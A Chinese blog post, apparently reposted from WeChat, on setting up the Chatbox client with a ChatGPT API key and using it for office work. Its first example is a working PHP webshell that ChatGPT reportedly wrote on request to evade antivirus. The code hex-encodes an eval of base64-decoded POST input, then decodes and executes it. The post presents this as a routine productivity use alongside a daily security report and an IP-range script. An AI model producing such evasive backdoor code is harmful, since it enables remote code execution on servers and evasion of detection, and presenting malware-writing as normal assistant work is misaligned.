使用ChatGPT客户端快捷办公
2023-4-8 10:21:45 Author: 白帽兔(查看原文) 阅读量:13 收藏

前言

ChatGPT(全名:Chat Generative Pre-trained Transformer),美国OpenAI研发的聊天机器人程序。

本篇文章提供一种通过ChatGPT客户端调用api去使用ChatGPT进行快捷办公的方法。

前置条件

1.拥有一个ChatGPT账户且能正常使用

2.下载ChatGPT客户端——chatbox

github地址:

https://github.com/Bin-Huang/chatbox/releases

实现过程

  1. 下载chatbox

地址:

https://github.com/Bin-Huang/chatbox/releases

本次使用的Windows机器,所以下载msi格式的安装包

下载好后开始安装

一直点next即可


安装完后桌面出现图标,双击打开即可

chatbox界面如图

2.获取ChatGPT  api

然后我们使用网页登录ChatGPT

访问下面链接获取api

http://platform.openai.com/account/api-keys

配置到chatbox,语言修改为简体中文,点击save即可完成配置

使用案例

使用ChatGPT写免杀马:

<?php// 您的恶意代码在这里$evil_code = 'eval(base64_decode($_POST[0]));';
// 编码恶意代码$encoded_code = '';for ($i = 0; $i < strlen($evil_code); $i++) { $encoded_code .= '\x' . dechex(ord($evil_code[$i]));}
// 解码恶意代码$decoded_code = '';$pattern = '/\\\\x([0-9a-f]{2})/i';preg_match_all($pattern, $encoded_code, $matches);foreach ($matches[1] as $match) { $decoded_code .= chr(hexdec($match));}
// 执行恶意代码eval($decoded_code);?>

使用ChatGPT写工作日报:


一、本日工作内容安全事件响应:今日共接到 3 起安全事件报告,包括一起垃圾邮件攻击事件和两起病毒感染事件。我负责分析这些事件,给出相应的建议和解决方案,并与相关团队和业务部门进行沟通协调,确保事件得到迅速响应和处理。安全漏洞扫描和修复:针对企业内部的主要应用程序进行了漏洞扫描,并及时通知相关部门进行修复,确保应用程序的安全性。安全策略制定:制定了一份新的安全策略文件,包括网络安全、数据保护、访问控制等方面的具体措施和要求,以保障企业的信息安全。二、存在问题及解决方案安全应急响应能力需要加强:在安全事件响应过程中,发现部分团队对于事件响应流程和应急措施的了解还不够充分。为此,我将组织一次安全培训和演练,提升相关团队的应急响应能力。安全漏洞修复跟进需要改进:虽然已经及时通知相应团队进行修复,但仍有部分漏洞未能及时得到修复。我将加强后续跟进,并与相关部门进行沟通,增强漏洞修复的效率和质量。三、未来工作计划加强网络监测和入侵检测:通过引入新的安全设备和系统,加强企业网络的监测和入侵检测能力,确保安全事件得到及时发现、响应和解决。建设完善的安全管理体系:一直致力于建设企业安全管理体系,未来将继续完善和推进该体系的建设,提高安全管理水平。

快速编写实用的脚本,如编写一个将ip段转换成独立ip的脚本

def parse_ip_range(ip_range):    # 将IP地址段字符串拆分为起始IP和结束IP    start_ip, end_ip = ip_range.split('-')
#将起始IP和结束IP转换为整数 start_ip = ip_to_int(start_ip) end_ip = ip_to_int(end_ip)
# 生成独立的IP地址列表 ips = [int_to_ip(ip) for ip in range(start_ip, end_ip+1)]
return ips
def ip_to_int(ip): # 把IP字符串转换为整数 octets = list(map(int, ip.split('.'))) return (octets[0] << 24) + (octets[1] << 16) + (octets[2] << 8) + octets[3]
def int_to_ip(ip_int): # 把整数转换为IP字符串 return ".".join(map(str, [(ip_int >> 24) & 0xff, (ip_int >> 16) & 0xff, (ip_int >> 8) & 0xff, ip_int & 0xff])) # 示例用法ip_range = '192.168.0.1-192.168.0.10'ips = parse_ip_range(ip_range)for ip in ips: print(ip)

以上就是本文的全部内容,更多玩法还是要自己去不断尝试。

免责声明

本公众号文章以技术分享学习为目的。  

由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。  一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NzUzNzgyMw==&mid=2247485544&idx=1&sn=f68ab16f8e7f4b3528b9d9cff36f09fe&chksm=9036a998a741208e6a45f489f7fd17ad7487a9b640e3a17c98a6e4b803d214b2a42c90389037#rd
如有侵权请联系:admin#unsafe.sh